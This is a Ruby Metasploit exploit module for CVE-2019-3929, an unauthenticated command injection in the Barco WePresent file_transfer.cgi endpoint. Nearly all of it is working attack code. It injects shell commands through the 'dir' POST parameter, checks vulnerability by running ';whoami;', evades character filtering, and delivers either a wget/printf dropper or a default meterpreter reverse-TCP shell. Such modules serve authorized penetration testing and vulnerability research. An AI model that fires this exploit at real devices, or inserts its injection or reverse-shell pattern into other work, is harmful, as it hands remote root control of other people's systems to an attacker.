adfoster-r7
120 lines
3.1 KiB
Ruby
120 lines
3.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Barco WePresent file_transfer.cgi Command Injection',
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'Description' => %q{
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This module exploits an unauthenticated remote command injection
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vulnerability found in Barco WePresent and related OEM'ed products.
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The vulnerability is triggered via an HTTP POST request to the
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file_transfer.cgi endpoint.
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},
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'License' => MSF_LICENSE,
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'Author' => 'Jacob Baines', # @Junior_Baines'
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'References' => [
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['CVE', '2019-3929'],
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['EDB', '46786'],
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['URL', 'https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c']
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],
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'DisclosureDate' => '2019-04-30',
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'Privileged' => false,
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'Targets' => [
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[
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'Unix In-Memory',
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{
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Type' => :unix_memory,
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'Payload' => {
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'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnetd' }
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}
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}
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],
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[
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'Linux Dropper',
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{
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'Platform' => 'linux',
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'Arch' => ARCH_ARMLE,
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'CmdStagerFlavor' => ['printf', 'wget'],
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'Type' => :linux_dropper
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}
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]
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],
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'DefaultTarget' => 1,
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'DefaultOptions' => {
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'SSL' => true,
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'RPORT' => 443,
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'CMDSTAGER::FLAVOR' => 'printf',
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'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
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},
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'Notes' => {
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'Reliability' => UNKNOWN_RELIABILITY,
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'Stability' => UNKNOWN_STABILITY,
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'SideEffects' => UNKNOWN_SIDE_EFFECTS
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}
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)
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)
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end
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def filter_bad_chars(cmd)
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cmd.gsub!(/;/, 'Pa_Note')
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cmd.gsub!(/\+/, 'Pa_Add')
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cmd.gsub!(/&/, 'Pa_Amp')
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return cmd
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end
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def send_command(cmd, timeout)
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vars_post = {
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file_transfer: 'new',
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dir: "'#{filter_bad_chars(cmd)}'"
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}
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send_request_cgi({
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'uri' => '/cgi-bin/file_transfer.cgi',
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'method' => 'POST',
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'vars_post' => vars_post
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}, timeout)
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end
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def check
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check_resp = send_command(';whoami;', 5)
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unless check_resp
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return CheckCode::Unknown('Connection failed.')
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end
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if check_resp.code == 200
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check_resp.body.gsub!(/[\r\n]/, '')
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if check_resp.body == 'root'
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return CheckCode::Vulnerable('The target is vulnerable')
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end
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end
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CheckCode::Safe('The target is not vulnerable')
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end
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def execute_command(cmd, _opts = {})
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send_command(";(#{cmd})&", nil)
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end
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def exploit
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case target['Type']
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when :unix_memory
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execute_command(payload.encoded)
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when :linux_dropper
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execute_cmdstager(linemax: 128)
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end
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end
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end
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